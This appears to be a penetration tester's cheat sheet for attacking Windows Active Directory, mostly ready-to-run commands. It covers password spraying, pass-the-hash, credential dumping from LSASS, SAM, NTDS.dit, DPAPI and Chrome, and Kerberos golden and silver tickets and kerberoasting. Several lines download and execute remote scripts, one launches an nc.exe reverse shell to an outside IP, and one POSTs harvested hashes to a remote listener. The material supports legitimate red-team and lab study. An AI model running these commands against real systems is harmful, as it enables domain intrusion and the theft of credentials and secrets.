net view ------ 查询同一域内机器列表
net view \\ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表tasklist /V ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新域策略cmdkey /l ----- 看是否保存了登陆凭证。
（攻击者会先查看管理员是否保留了登陆凭证，方便后续的凭证抓取。）
echo %logonserver% ----- 查看登陆域
gpresult /user svc_testldap /z ----- Displays the Resultant Set of Policy (RSoP) information
## The user does not have RSoP data. This is an error you get back from running GPRESULT /R and it happens because the user you're running this command with isn't logged on the system.
gpresult [/s <system> [/u <username> [/p [<password>]]]] [/user [<targetdomain>\]<targetuser>] [/scope {user | computer}] {/r | /v | /z | [/x | /h] <filename> [/f] | /?}
gpresult /s srvmain /u maindom\hiropln /p p@ssW23 /user targetusername /scope user /r
```
## Local enum using wmic
WMI is a subsystem of PowerShell that provides system administrators with powerful tools for system monitoring.
Some of the uses for WMI are:
- Status information for local/remote systems
- Configuring security settings on remote machines/applications
- Setting and changing user and group permissions
- Setting/modifying system properties
- Code execution
- Scheduling processes
- Setting up logging
```
wmic os list brief
wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
Get-WmiObject -class win32_OperatingSystem | Select Version.BuildNumber
Get-WmiObject -Class Win32_OperatingSystem | Select SerialNumber
Get-WmiObject -class win32_process | Select ProcessName, ProcessId
Get-WmiObject -class win32_service
Get-WmiObject -class win32_Bios
Invoke-WmiMethod -Path "CIM_DataFile.Name='C:\users\public\spns.csv'" -Name Rename -ArgumentList "C:\Users\Public\kerberoasted_users.csv"
```
## Find generic writable folder for everyone and current user
(Not checking on group name like IIS) also can try -Path $HOME
```
$ErrorActionPreference= 'silentlycontinue';Get-ChildItem -Path c:\*\*\ -Force | where { $_.PSIsContainer -eq "TRUE"} | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.identityreference -match "authenticated users|everyone|$env:username" -and $_.filesystemrights -match "full|modify|write"}}
powershell -exec bypass -nop -C "$ErrorActionPreference=\"silentlycontinue\";Get-ChildItem -Path $HOME -Force | where { $_.PSIsContainer -eq \"TRUE\"} | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.identityreference -match \"$env:username\" -and $_.filesystemrights -match \"Full\"}}"
```
## Check recent modified file
```
Get-ChildItem -Path \\pdc\Shared\Accounting\*.* -Filter * | ? {$_.LastWriteTime -gt (Get-Date).AddDays(-1)}
```
## Get ACL for a Folder
script scans for directories under shared folder and gets acl(permissions) for all of them
```
$path = "\\pdc\Shared\folder"; dir -Recurse $path | where { $_.PsIsContainer } | % { $path1 = $_.fullname; Get-Acl $_.Fullname | % { $_.access | Add-Member -MemberType NoteProperty '.\Application Data' -Value $path1 -passthru }}
```
## Get .NET version
```
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select PSChildName, Version, Release
```
## Enum service
```
Get-Service | ? {$_.Status -eq "Running"} | select -First 2 | fl
Get-Service -name "*update*" | fl -auto
```
## Inspect network traffic
```
tcpdump -i eth0 icmp
/var/www/apache2/access.log
netsh trace show interfaces
netsh trace start capture=yes CaptureInterface="Ethernet" tracefile="C:\Users\user\Desktop\www\trace.etl" maxsize=10 # tcpdump
netsh trace start capture=yes IPv4.Address=192.168.122.2
netsh trace start capture=yes # cannot capture on localhost
netsh trace stop
etl2pcapng.exe trace.etl trace.pcapng # convert etl to pcapng - https://github.com/microsoft/etl2pcapng/
```
## Windows critical system services
```
Service Description
smss.exe Session Manager SubSystem. Responsible for handling sessions on the system.
csrss.exe Client Server Runtime Process. The user-mode portion of the Windows subsystem.
wininit.exe Starts the Wininit file .ini file that lists all of the changes to be made to Windows when the computer is restarted after installing a program.
logonui.exe Used for facilitating user login into a PC
lsass.exe The Local Security Authentication Server verifies the validity of user logons to a PC or server. It generates the process responsible for authenticating users for the Winlogon service.
services.exe Manages the operation of starting and stopping services.
winlogon.exe Responsible for handling the secure attention sequence, loading a user profile on logon, and locking the computer when a screensaver is running.
System A background system process that runs the Windows kernel.
svchost.exe with RPCSS Manages system services that run from dynamic-link libraries (files with the extension .dll) such as "Automatic Updates," "Windows Firewall," and "Plug and Play." Uses the Remote Procedure Call (RPC) Service (RPCSS).
svchost.exe with Dcom/PnP Manages system services that run from dynamic-link libraries (files with the extension .dll) such as "Automatic Updates," "Windows Firewall," and "Plug and Play." Uses the Distributed Component Object Model (DCOM) and Plug and Play (PnP) services.
```
## Check hidden file
MOST system files or critical files are hidden
```powershell
gci -hidden
attrib -s -h -r /s /d
```
## Inspect windows event
https://github.com/RamblingCookieMonster/PowerShell
```powershell
Get-WinEvent -ComputerName DomainController1 -FilterHashtable @{Logname='security';id=4740} -MaxEvents 10 | Get-WinEventData | Select TimeCreated, e_TargetUserName, e_TargetDomainName //check account lockout
Get-WinEvent -ComputerName DomainController1 -FilterHashtable @{Logname='security';id=4688} -MaxEvents 10 | Get-WinEventData | select TimeCreated, e_CommandLine | ft -autosize -wrap //a new process has been created
```
## Windows setting
```
secpol.msc # Local Security Policy
gpedit.msc # Group Policy Editor
lusrmgr.msc # Local Users and Groups
services.msc # Services Manager
wf.msc # Windows Firewall
taskschd.msc # Task Scheduler
wmimgmt.msc # WMI Management
compmgmt.msc # Computer Management
devmgmt.msc # Device Manager
eventvwr.msc # Event Viewer
fsmgmt.msc # Shared Folders
regedit
msconfig
gpmc.msc # Group Policy Management
gpme.msc # Group Policy Mangement Editor
gptedit.msc # Group Policy Starter GPO Editor
domain.msc # Active Directory Domains and Trust
dsa.msc # Active Directory Users and Computers.
dssite.msc # Active Directory Sites and Services
iis.msc # Internet Information Services Manager
iis6.msc # Internet Information Services Manager 6.0
wsus.msc # Update Services
```
# Post Exploitation
## Identify the internal hosts
Get-DomainComputer
```
Get-DomainComputer | foreach-object {Resolve-IPAddress $_.cn}
```
Metasploit post module
```
use post/windows/gather/arp_scanner
```
## Password Spraying Attack
```
crackmapexec smb 192.168.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!"
crackmapexec smb ./host.list -u "ned.flanders_adm" -p "Lefthandedyeah!"
crackmapexec ssh 172.16.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!"
crackmapexec winrm 172.16.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!"
crackmapexec mssql 172.16.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!"
crackmapexec smb 172.16.2.102 -d "corp.local" -u "svc_devops" -H "aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178" --shares
proxychains4 crackmapexec smb ./host.list --gen-relay-list ./NoSMBsign.txt
crackmapexec smb 172.16.126.151 -u "imaginarybit" -p 'P@ssw0rd12345!' --local-auth
sudo python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
sudo python3 RDPassSpray.py -U /root/Desktop/user.txt -p 123 -t 192.168.1.106
sudo python3 RDPassSpray.py -u "ned.flanders_adm" -p "Lefthandedyeah!" -T host.list
https://github.com/lanjelot/patator.git
patator [module] host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt
ssh_login
ftp_login
rdp_login
mssql_login
smb_login host=FILE0 0=hosts.txt user=COMBO10 password_hash=COMBO12:COMBO13 1=pwdump.txt # Test every user (each line := login:rid:LM hash:NT hash).
unzip_pass
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
patator rdp_login host=192.168.101.128 user=tester password='testpass' //doesnt support domain user well
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
rdp_check.py lab/tester:password@192.168.101.128
rdp_check.py lab/tester@192.168.101.128 -hashes aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178
```
## check gpp password
```
proxychains4 crackmapexec smb 172.16.126.192 -u nina -p 'Password123!#$' -d final.com -M gpp_password
```
## no brute force
```
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce --continue-on-success
```
## SMB shares enumeration with known credentials
save username and hashes to userpass.txt in format of "Administrator LMhash:NThash" or "Administrator password"
```
IFS=$'\n'&&for i in $(cat ./userpass.txt);do echo "Enumeration with username $(echo $i | awk -F' ' '{print $1}')" && proxychains4 -f ../dc03.conf smbmap -d admin.offshore.com -u $(echo $i | awk -F' ' '{print $1}') -p $(echo $i | awk -F' ' '{print $2}') -H 172.16.4.31;done
```
## Pass the Hash Attack
```
crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
crackmapexec smb <target(s)> -u username -H NTHASH
```
## Using CME Modules:
```
cme smb -L
cme <protocol> -M <module name> --options
cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'
cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M rdp -o ACTION='enable'
cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M bloodhound -o ACTION='enable'
```
## NULL session
```
crackmapexec smb <target(s)> -u '' -p ''
```
## RDP Session Hijacking with tscon - connect to a different user in the same system - requires administrator
```
query user # get session name
sc create hijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1" # sc create <process_name> binpath= "cmd.exe /k tscon <user 2_ID> /dest:<session_name>"
net start hijack
method 2: via task manager -> users -> connect -> enter credentials
method 3: Mimikatz
ts::sessions
privilege::debug
token::elevate
ts::remote /id:1
```
## SCF file attack
put the SCF file in a writable shared folder
```
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
#add @ symbol in front of the filename will place the pentestlab.scf
responder -wrf --lm -v -I eth0 //Running SMB1, Capture NTLM
responder -wrf -v -I eth0 //Running SMB2, Capture Net-NTLM
```
## lnk file attack
put the lnk file in a writable shared folder
```
$objShell = New-Object - ComObject WScript.Shell
$link = $objShell.CreateShortcut("C:\Malicous.lnk")
$link.TargetPath = "\\attackerIP\@threat.png"
$link.WindowStyle = 1
$link.IconLocation = "%windir%\system32\shell32.dll, 3"
$link.Description = "what ever"
$link.HotKey = "Ctrl+Alt+O"
$link.Save()
```
# Dumping Credentials
## Workstation Credentials Storage
## WDigest
This is a legacy protocol used to authenticate users in Windows. When enabled, LSASS keeps a plain-text copy of logged in user’s password in memory.
While the service is disabled by default nowadays, it still exists in the latest versions of Windows, and attackers often enable it in order to steal credentials.
"reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1"
## Security Accounts Manager database (SAM)
The SAM database is stored as a file on the local hard disk drive, and it is the authoritative credential store for local accounts on each Windows computer.
The SAM database stores information on each account, including the user name and the NT password hash.
## Local Security Authority Subsystem Service (LSASS)
The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions.
Reversibly encrypted plaintext, Kerberos tickets (TGTs, service tickets), NT hash, LM hash
## LSA secrets on the hard disk drive
A Local Security Authority (LSA) secret is a secret piece of data that is accessible only to SYSTEM account processes.
Account password for the computer’s AD DS account
Account passwords for Windows services that are configured on the computer
Account passwords for configured scheduled tasks
Account passwords for IIS application pools and websites
## Credential Manager store
These credentials are stored on the hard disk drive and protected by using the Data Protection Application Programming Interface (DPAPI).
## Kerberos
The Kerberos protocol was specifically designed for strong, secure authentication. It does so through a ticketing system, granting various permissions to users and services.
Attacks against Kerberos generally involve forging or injecting stolen Kerberos tickets to gain access.
## Cached Domain Credentials in Registry
====================================================================================================================================================================================================================
## Domain Controller Credentials Storage
## AD DS database (NTDS.DIT)
The Active Directory Domain Services (AD DS) database is the authoritative store of credentials for all user and computer accounts in an AD DS domain.
NT hash for the current password
NT hashes for password history (if configured)
## Group Policy Preference files
This Windows tool lets administrators roll up domain policies to include embedded credentials, making administration easier.
These policies are generally stored in a share called SYSVOL, which any domain user can view, and potentially decrypt.
## DCSync
Instead of a location, DCSync is a technique where an attacker takes advantage of the way domain controllers handle available API calls.
In short, the attacker mimics the behavior of another domain controller through API calls and gets the controller to send over credential hashes that can be used in further attacks.
====================================================================================================================================================================================================================
## check whether protections such as Credential Guard/protected process are configured and running
mimikatz > version
## Requires administrator access with debug or Local SYSTEM rights
privilege::debug
## Escalate to SYSTEM
token::whoami
token::elevate
or
psexec64.exe -i -s powershell.exe
## Dump cached domain credentials - Impacket offline
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
lsadump::cache
lsadump::secrets
If the autologon functionality is needed, consider using the Sysinternals utility "Autologon" (which will store the password encrypted in the registry)
instead of the Windows built-in one (which needs the password to be saved in plain-text in the registry).
## Dump SAM NTLM - online under SYSTEM priv
meterpreter> hashdump
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump
run post/windows/gather/credentials/credential_collector
run post/windows/gather/credentials/sso
lsadump::sam
## PostDump
perform a memory dump (lsass) using several technics to bypass EDR hooking and lsass protection.
https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump
## Download mimikatz binary
powershell.exe -exec Bypass -noexit -C "(New-Object Net.WebClient).DownloadFile('http://172.16.1.5:30080/mimikatz.exe','c:\Users\Administrator\Downloads\mimikatz.exe')"
## Invoke-MassMimikatz
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
## Invoke-Kerberoast with Hashcat Output
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2//Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"
## Invoke Mimikatz
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
## Import Mimikatz Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2/Invoke-Mimikatz.ps1')"
## Perform DcSync attack
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:demodomain /user:sqladmin"'
## Manual Procdump for offline mimikatz
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
.\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
PS> C:\path\to\procdump64.exe -accepteula -ma lsass.exe lsass.dmp; certutil -encode C:\path\to\lsass.dmp C:\path\to\file.b64 # avoid lsass.dmp deleted by system automaticly
meterpreter download file.b64
certutil -decode file.b64 file.dmp
## Dump credentials from lsass process in memory
sekurlsa::minidump c:\temp\file.dmp
sekurlsa::LogonPasswords
## meterpreter - load kiwi
meterpreter > kiwi_cmd sekurlsa::logonPasswords
meterpreter > kiwi_cmd dpapi::cred
meterpreter > kiwi_cmd dpapi::vault
## remotely run mimikatz using psexec64.exe
PsExec64.exe \\server01 -f -s -c mimikatz.exe
## Pass-the-Hash with Mimikatz
sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND
## DPAPI - Chrome Cookies/Login Data, the Windows Credential Manager/Vault (e.g. saved IE/Edge logins and file share/RDP passwords), and Remote Desktop Connection Manager .rdg files
The master key needs to be decrypted using the user’s password OR the domain backup key. The master key is used to decrypt any DPAPI data blobs.
C:\Users\<USER>\AppData\Local\Microsoft\Credentials\ # Credential files for users
C:\Users\<USER>\AppData\Local\Microsoft\Protect\ # Masterkey files (masterkey,backupkey,domainkey) for users
%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\ # Credential files for system credentials
%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Protect\ # Masterkey files (masterkey,backupkey,domainkey) for system credentials
C:\Users\<USER>\AppData\Local\Microsoft\Vault\<VAULT_GUID>\ # Windows Vaults
## Master key stored at C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>, <SID> is the user’s security identifier, <GUID> is the name of the master key
dpapi::masterkey /in:<MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
## Decrypt scheduled task credentials online - under AUTORITE NT\System - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials
sekurlsa::dpapi # extract the system’s DPAPI key out of memory
dpapi::cred /in:”%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials”
dpapi::cred /in:%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\AA10EB8126AA20883E9542812A0F904C /masterkey:0a942e9dfc93424608...
## Decrypt credential manager saved credentials - not recommended - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
vault::list # list/attempt to decrypt credentials from \AppData\Local\Microsoft\Vault\
vault::cred # list/attempt to decrypt credentials from \AppData\Local\Microsoft\Credentials\
vault::cred /patch # not recommended - use the other options at below
## Code Execution in Target User’s Context - decrpyed under same user's session
dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies” /unprotected
dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /unprotected
## Administrative Access on a Machine the Target User is Currently Logged In On
sekurlsa::dpapi # extract all DPAPI keys from memory for users currently logged into system
dpapi::chrome /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7…
dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7…
## Administrative Access on a Machine the Target User is NOT Currently Logged In On - with credentials
dpapi::masterkey /in:<MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies” /unprotected
dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /unprotected
## Administrative Access on a Machine the Target User is NOT Currently Logged In On - without credentials
dpapi::masterkey /in:”C:\Users\dfm.a\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1110\ca748af3-8b95-40ae-8134-cb9534762688″ /rpc # ask domain controller to decrpy master key
dpapi::chrome /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7…
dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7…
## DPAPI - Elevated Domain Privilege
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export #.pvk private key can be used to decrypt ANY domain user masterkeys
dpapi::masterkey /in:b8854128-023c-433d-aac9-232b4bca414c /pvk:ntds_capi_0_32d021e7-ab1c-4877-af06-80473ca3e4d8.pvk
dpapi::chrome /in:Cookies /masterkey:f35cfc2b44aedd7…
## Check current found masterkey
dpapi::cache
## Decrpyt Encrypting File System (EFS) - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
cipher /c "d:\Users\Gentil Kiwi\Documents\encrypted.txt" # print out certificate & private key with digest B53C6DE283C00203587A03DD3D0BF66E16969A55
## Obtain the certificate and its public key,
crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export # obtained publicKey B53C6DE283C00203587A03DD3D0BF66E16969A55.der
## Check key provider info: Key Container ffb75517-bc6c-4a40-8f8b-e2c555e30e34 whether the private key's pUniqueName matches the Key Container
dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" # Found guidMasterKey {1eccdbd2-4771-4360-8b19-9d6060a061dc}
## Decrypting the masterkey
dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-3436831043-1864828003-1001\1eccdbd2-4771-4360-8b19-9d6060a061dc" /password:waza1234/ # or using NTLM hash for domain accounts, sha1 hash for local account, or domain backup key. Found decrypted master key
## Decrypting the private key using decrypted masterkey
dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b # obtained privateKey raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk
## Building the correct PFX
openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
## Installing the PFX
certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot
## Data access
type "d:\Users\Gentil Kiwi\Documents\encrypted.txt"
## LaZagne - The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. - https://github.com/AlessandroZ/LaZagne
laZagne.exe all # Only extract the credentials related to current user
laZagne.exe browsers
laZagne.exe browsers -firefox
laZagne.exe all -oA -output C:\Users\test\Desktop
## SharpDPAPI.exe
SharpDPAPI.exe backupkeys /file:key.pvk /server:dc02.dev.admin.offshore.com # grab domain private key from domain controller
## SharpChrome.exe
SharpChrome.exe logins /unprotect # credentials store using current user
SharpChrome.exe cookies /unprotect # credentials store using current user
SharpChrome.exe statekeys /file:key.pvk # credentials store in another user
SharpChrome.exe logins /statekey:[ASD8S9A6...SDA789DSA] /file:key.pvk
SharpChrome.exe cookies /statekey:[ASD8S9A6...SDA789DSA] /file:key.pvk
## Dumping Active Directory credentials locally - on DC
lsadump::lsa /inject
or
lsadump::lsa /patch
or
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local # Extract Hashes from NTDS.dit using Impacket
secretsdump.py -pwd-last-set -user-status -history -ntds ./ntds.dit -security SECURITY -system SYSTEM local
## Powershell History
C:\Users\{username}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
## Recently Run Commands
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
## Crack password protected office documents
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py
python office2john.py dummy.docx > hash.txt
cat hash.txt //identify the version of office
hashcat -a 0 -m 9400 --username -o cracked_pass.txt hash.txt rockyou.txt
####################################################################################################
###################################### kerberos attacking ###################################
####################################################################################################
## Pass-The-Ticket
kerberos::list
kerberos::list /export
## KrbTGT tickets get cached ONLY IF Administrator has logged on before on a Unconstrained Delegation computer
kerberos::ptt TGTticket.kirbi
misc::cmd # perform the actions as the user that passed the ticket
## Pass The Hash
## The computer account WEB-WIN01$ is part of "domain admins" group, once pwned the computer
sekurlsa::pth /user:WEB-WIN01$ /domain:corp.local /ntlm:e3d78bc48d069bba3d3e34b0cae59547 /run:"c:\users\cyber_adm\downloads\nc.exe 10.10.14.6 4444 -e C:\WINDOWS\System32\cmd.exe"
rubeus.exe s4u /user:FS02$ /domain:dev.ADMIN.OFFSHORE.COM /dc:dc02.dev.ADMIN.OFFSHORE.COM /rc4:25CB75FB3F857DE4BB08FEDDCA639D2D /impersonateuser:Administrator /msdsspn:cifs/DC02.dev.ADMIN.OFFSHORE.COM /ptt
## Kerberos Golden Ticket
lsadump::lsa /inject /name:krbtgt # After conpromise the domain controller,get NTLM of kerberos account
Domain : DEV /S-1-5-21-1416445593-394318334-2645530166
NTLM: 9404def404bc198fd9830a3483869e78
## Creating a forged golden ticket that automatically gets injected in current logon session's memory
kerberos::golden /domain:dev.ADMIN.OFFSHORE.COM /sid:S-1-5-21-1416445593-394318334-2645530166 /rc4:9404def404bc198fd9830a3483869e78 /user:newAdmin /id:500 /ptt
klist # Checking if the ticket got created
pushd \\WS03.dev.ADMIN.OFFSHORE.COM\c$
## Service Account Password Cracking
GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat.
GetUserSPNs.py -request -dc-ip 172.16.1.5 corp.local/svc_opmanager
$krb5tgs$23$
hashcat -m 13100 krb5tgs.hash rockyou
## Pass the Cache - abusing cached Kerberos .ccache tickets discovered on a Linux-based jump-box
Python ms14-068.py –u [USERNAME] –s [USERSID] –p [USER PASSWORD] –d [DOMAIN CONTROLLER IP] # request ccache from DC
Kerberos::ptc [TICKET NAME] # perform pass the cache on windows machine
## kerberoasting - extract and crack NTLM hash for service account reside in a TGS - required an authenticated domain user
## Step 1 – Obtain a list of SPN values for user accounts - https://github.com/nidem/kerberoast
setspn -T corp.local -Q */*
setspn -l hostname # To view a list of the SPNs that a computer has registered with Active Directory
## Step 2 – Request Service Tickets for service account SPNs
Add-Type –AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList ‘MSSQLSvc/corp.local:1433’
or #list all
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T corp.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
## Step 3 - Find the SPN which is running on the target host. (The NTLM of the SPN is required for creating silver ticket)
For eg. MSSQLsvc/ql01.corp.local:1433 @ CORP.LOCAL
## Step 4 – Extract Service Tickets Using Mimikatz
kerberos::list /export
or
IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.126:8080/Invoke-Kerberoast.ps1');$command = Invoke-Kerberoast -OutputFormat Hashcat | out-string;$errors=[string]$error;$postParams = @{Error=$errors;output=$command;};Invoke-WebRequest -Uri http://192.168.49.126:8000 -Method POST -Body $postParams;
## Step 5 – Crack the Tickets - kirbi((Windows file format) is a file contains tickets, it can be convert to ccache(Linux file format)
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.corp.local~1433-CORP.LOCAL.kirbi
or
for i in $(cat kirbi.list);do python3 kirbi2john.py $i >> tgs.list;done
sudo john --show --wordlist=/usr/shar/wordlists/rockyou.txt tgs.list
or
hashcat mssql.krb.tgs --force -m 13100 -a 0 /usr/share/wordlists/rockyou.txt
## Step 6 - Rewrite
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.corp.local~1433-CORP.LOCAL.kirbi -w sql.kirbi -u 500 # Make user appear to be a different user
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.corp.local~1433-CORP.LOCAL.kirbi -w sql.kirbi -g 512 # Add user to another group (in this case Domain Admin)
## Step 7 - Inject back into RAM with Mimikatz
kerberos::ptt sql.kirbi
## Kerberos Silver Ticket
## Step 1 – Extract NTLM password hash for either a service account running a service on a computer or the computer account itself (e.g. via Kerberoasting or by obtain local administrator accounts on a host)
service account: can be compromised without any elevated domain privileges
computer account: can forge tickets for any service that runs as the local system account
## Step 2 - Using the Mimikatz command “kerberos::golden”, pass the Domain SID, Target host name, Service name, User name and Group information to create the Silver Ticket
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt" exit
kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin
## Step 3 - Validate the tickets
klist
## Step 4 - Query the service using forged tickets
Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local
## Service Type: Service Silver Tickets
WMI: HOST, RPCSS
PowerShell Remoting: HOST,HTTP
Depending on OS version may also need: WSMAN, RPCSS
WinRM: HOST,HTTP
Scheduled Tasks: HOST
Windows File Share (CIFS): CIFS
